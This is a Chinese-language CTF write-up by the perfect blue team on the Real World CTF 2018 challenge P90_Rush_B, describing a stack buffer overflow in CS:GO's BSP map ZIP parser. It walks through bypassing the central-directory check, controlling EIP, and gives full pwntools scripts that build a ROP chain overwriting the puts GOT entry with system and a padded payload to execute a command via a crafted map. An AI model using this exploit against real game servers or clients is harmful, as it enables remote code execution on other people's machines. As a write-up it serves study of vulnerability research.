P90_Rush_B這道題來自Real World CTF 資格賽 2018,我們以perfect blue
的隊伍名參加了這次比賽。
@j0nathanj和@VoidMercy_pb.解出了這道題目。
不幸的是,我們沒有在比賽期間解出這道題目,但我們在接下來的兩天內再接再厲,最后成功的exploit!:)
我們的解法包含一個0 day,前幾天也剛剛被Eat Sleep Pwn Repeat隊伍的@_niklasb大佬發現,且在最新的更新中已被修復。
我們決定盡可能詳細的編寫這篇文章,以展示我們全部的工作過程,包括從發現bug,到成功exploit,以及我們所遇到的一些問題。
題目的描述 / 自述文件表明我們必須通過某種方式利用CS:GO處理地圖的機制以實現代碼執行。
在閱讀了自述文件和挑戰描述之后,我們立即想到了一個最近報告給HackerOne的 CS:GO漏洞。
這個漏洞是這道題目的捷徑。它正是我們需要的那一類漏洞——一個BSP (地圖) 解析器的漏洞!
不巧的是,在第一份報告之后,Valve已經修復了這個漏洞(還是說?哼哼……),我們決定以這個漏洞為基礎,并在這個已修復漏洞的附近尋找新的漏洞。
解決這道題很重要的一點是要了解我們正在對付一個什么樣的結構體/類,我們借助這個頁面以及部分2007年的被泄露的Source Engine的源碼來推斷出其結構體。
與此漏洞相關的結構體是Zip_FileHeader
和ZIP_EndOfCentralDirRecord
。貼上附件structs.c,里面包括了它們的完整的定義。
struct ZIP_FileHeader
{
unsigned int signature; // 4 bytes PK12
...
...
unsigned short fileNameLength; // file name length 2 bytes
...
...
// The filename comes right after! (variable size)
};
struct ZIP_EndOfCentralDirRecord
{
unsigned int signature; // 4 bytes PK56
...
...
unsigned short nCentralDirectoryEntries_Total; // 2 bytes - A.K.A numFilesInZip
...
...
};
正如發現者所報告的那樣,舊的bug就在這個函數中CZipPackFile::Prepare
。
(此圖片來自于最初的bug發現者)
在上圖中,函數Get()
調用memcpy()
并將文件名(嵌入在地圖文件本身中)復制到變量tmpString
中。
這個地方沒有邊界檢查,因為zipFileHeader.fileNameLength
和filename
是嵌入在BSP文件本身的,所以會導致一個經典的基于棧的緩沖區溢出。
我們嘗試運行由bug發現者提供的PoC地圖,但由于斷言機制崩潰了。
在閱讀完2007年的這份被泄露的Source Engine源碼后,我們知道每個BSP都會包含有一些ZIP文件,包含其文件名以及文件名長度。
還有一個EndOfCentralDirectoryZIP
文件,表明我們已到達BSP文件的末尾(稍后會用到)。
普通ZIP文件具有簽名PK12
,EndOfCentralDirectory
ZIP具有簽名PK56
。
因為據說原來的漏洞已經被Valve修復,我們錯誤地認為補丁只是對Get()
的邊界檢查,我們依賴于這一份來自2007年的泄露源碼——我們都沒有使用平常的工具,我們也沒有IDA或者其他的反編譯器,所以我們決定使用這份泄露的源碼。
稍微閱讀了源代碼后,我們注意到另一個調用Get()
函數的地方,并且使用的是另一個filename!
這段看似有bug的代碼也與前一代碼在相同的函數里CZipPackFile::Prepare
。
bool CZipPackFile::Prepare( int64 fileLen, int64 nFileOfs )
{
...
...
ZIP_FileHeader zipFileHeader;
char filename[MAX_PATH];
// Check for a preload section, expected to be the first file in the zip
zipDirBuff.GetObjects( &zipFileHeader );
zipDirBuff.Get( filename, zipFileHeader.fileNameLength );
filename[zipFileHeader.fileNameLength] = '';
...
...
}
如注釋中所示(注釋存在于實際泄漏的文件中),Get()
函數此時復制ZIP中的“第一個文件”。
我們試圖破壞ZIP中的第一個文件名,也試圖破壞文件大小,但沒有任何結果,我們在這浪費了相當多的時間。
當我們回到家,用回自己實際的生產環境,我們決定嘗試對這個本應被Valve針對報告進行修復的函數進行逆向。
為了找出錯誤的代碼到底在哪個模塊,我們決定調試由于斷言而崩潰的PoC。最終我們發現它在dedicated.so
里。
為了在IDA中找到這個“老舊的”易受攻擊的函數,我們打開了dedicated.so
,
在相同的函數中搜索以警告信息出現在泄露代碼中的字符串。
在逆向完新的“已修復的”函數后,我們注意到有許多與泄露代碼相同的地方。但當我們找到我們認為易受攻擊的代碼片段(我們找到的get()
函數)的時候,我們注意到zipFileHeader.fileNameLength
有邊界檢查:
這時候,我們知道我們認為的漏洞實際上已經修復了。所以,我們繼續逆向,并找到了報告為bug的代碼片段。
如在第一個代碼片段(稱為“已修復片段”)中所見,當fileNameLength
<= 258時,或者是fileNameLength
< max_fileNameLength
時,max_fileNameLength
被更新為fileNameLength
(從BSP中提取)。
在第一次Get()
調用中,修復程序可防止溢出。但是,如果仔細觀察,第二次調用Get()
始終以fileNameLength
用作長度——即使fileNameLength
> max_fileNameLength
!
變量tmpString
的長度是260字節,所以如果我們可以讓第二次Get()
在調用memcpy()
時超過260字節——那么我們可以觸發基于棧的緩沖區溢出!
所以,現在我們已經發現了漏洞,我們必須觸發它以確認它是否真的存在!
我們花了相當多的時間試圖觸發漏洞 – 我們將BSP中的第二個ZIP文件(我們使用標頭PK12
識別它的位置)中的 fileNameLength
更改為更大的東西,并且還將fileName
變得更大,但我們注意到一些矛盾點。
我們注意到在超過一定大小之后,該函數在開始時就會失敗,它在BSP上有一些驗證檢查。
在Prepare()
的開頭,有以下函數:
bool CZipPackFile::Prepare( int64 fileLen, int64 nFileOfs )
{
...
...
...
// Find and read the central header directory from its expected position at end of the file
bool bCentralDirRecord = false;
int64 offset = fileLen - sizeof( ZIP_EndOfCentralDirRecord );
// scan entire file from expected location for central dir
for ( ; offset >= 0; offset-- )
{
ReadFromPack( -1, (void*)&rec, -1, sizeof( rec ), offset );
m_swap.SwapFieldsToTargetEndian( &rec );
if ( rec.signature == PKID( 5, 6 ) )
{
bCentralDirRecord = true;
break;
}
}
Assert( bCentralDirRecord );
if ( !bCentralDirRecord )
{
// no zip directory, bad zip
return false;
}
看起來很混亂?其實并不!
實際上這個函數只是在進行一個從fileLen
到sizeof(ZIP_EndOfCentralDirOrder)
的迭代,然后再回到文件開頭,搜尋與ZIP_EndOfCentralDirOrder
頭部相匹配的4個字節(也就是PK56
的值)
經過一些調試之后,我們注意到了無論我們把文件擴充到多大,fileLen
卻始終不會變!這意味著它是以某種方式靜態保存的!
為了驗證我們的理論,我們在HxD里搜索文件長度,也確實找到了它!:)
為了繞過上面的循環,我們必須賦予fileLen
一個更大的值,因為ZIP_EndOfCentralDirOrder
是文件中的最后一個結構體,如果fileLen
過小,fileLen
到sizeof(ZIP_EndOf_CentralDirRecord)
的迭代會在PK56
頭之前開始,之后會一路回到文件的開頭——我們也就沒辦法bypass檢查了!
所以為了實現bypass,我們增大了fileLen
并在文件末尾使用0填充,這樣我們就總能保證繞過這個檢查了!
(我們可以單純的偽造PK56
頭,但我們想知道導致驗證失敗的根本原因是什么)
現在我們已經通過了PK56
頭驗證,我們可以嘗試用tmpString
大字符串來造成溢出!
一開始,我們試圖填充許多的A
來控制EIP,但我們注意到棧里有許多元數據仍然在被函數使用……并把它們覆蓋掉了。我們還注意到棧里的元數據是這樣訪問的(這是二進制文件中的一個實際示例):
(注意,對棧地址的訪問有時也用在指令的目的地址)
所以我們決定用0覆蓋掉除了返回地址意外的所有東西,這樣我們就不會因為寫入/讀取無效地址而崩潰!
但事實證明,即使溢出0也是不夠的,程序仍然會崩潰:( …
這一次,我們注意到在Get()
函數溢出之后,即使我們用0覆蓋數據,我們也會崩潰,因為這個函數在循環中,遍歷ZIP文件夾中的所有文件。
還記得我們指出的那個必要的結構體嗎?事實證明,ZIP_EndOfCentralDirRecord.nCentralDirectoryEntries_Total
存放著zip中的文件數量!看泄露的源碼就知道了:
...
int numFilesInZip = rec.nCentralDirectoryEntries_Total;
for ( int i = firstFileIdx; i < numFilesInZip; ++i )
{
...
// The Get() call is inside this loop.
...
}
把ZIP_EndOfCentralDirRecord.nCentralDirectoryEntries_Total
改成2,獲得第二個ZIP以實現溢出,會立即退出循環并導致函數結束,也就是說:我們可以控制EIP了!
主二進制文件(srcds
)是一個32位應用程序,它是在沒有PIE、沒有棧cookie的情況下編譯的,并且沒有啟用Full Relro。
根據這些情況,我們建立了一條任意添加的ROP鏈,并把system
的偏移量添加到puts
GOT的條目中,然后調用puts("/usr/bin/gnome-calculator")
,最后成功彈出了計算器 ??
下面的代碼生成了一個ROP鏈的payload,我們可以在返回地址的偏移量中插入以調用system("/usr/bin/gnome-calculator")
:
from pwn import *
add_what_where = 0x080488fe # add dword ptr [eax + 0x5b], ebx ; pop ebp ; ret
pop_eax_ebx_ebp = 0x080488ff # pop eax ; pop ebx ; pop ebp ; ret
putsgot = 0x8049CF8
putsoffset = 0x5fca0
systemoffset = 0x3ada0
putsplt = 0x080485E0
bss = 0x8049d68
command = "/usr/bin/gnome-calculator"
rop = []
for i in range(0, len(command), 4):
current = int(command[i:][:4][::-1].encode("hex"), 16)
rop += [pop_eax_ebx_ebp, bss + i - 0x5b, current, bss, add_what_where, bss]
rop += [pop_eax_ebx_ebp, putsgot - 0x5b, 0x100000000 - (putsoffset - systemoffset), bss, add_what_where, bss]
rop += [putsplt, bss, bss, bss]
payload = ""
for i in rop:
payload += p32(i)
with open('rop', 'wb') as f:
f.write(payload)
print '[+] Generated ROP.n'
為了完成exploit,我們需要使用許多0來覆蓋整個緩沖區直到返回地址為止,然后插入我們的ROP鏈payload!
from pwn import *
rop = ''
with open('rop', 'r') as f:
rop = f.read()
payload = p8(0) * 0x1c0
payload += rop
with open('payload', 'w') as f:
f.write(payload)
print '[+] Full payload generated.n'
插入我們的payload后,手動修改fileLen
和fileNameLength
,就可以執行代碼了!最終的bsp在這
(圖片不動請點我)
Get()
調用,但沒有修復第二次調用 – 報告說的實際就是這個!這讓我們學到了另一個重要的經驗——永遠不要相信“修復補丁”。總是去驗證它實際上是否修復了bug!
我們在完成這一挑戰時獲得了很多樂趣,并且CTF挑戰中找到了0 day!
期待Real World CTF 總決賽 – 2018!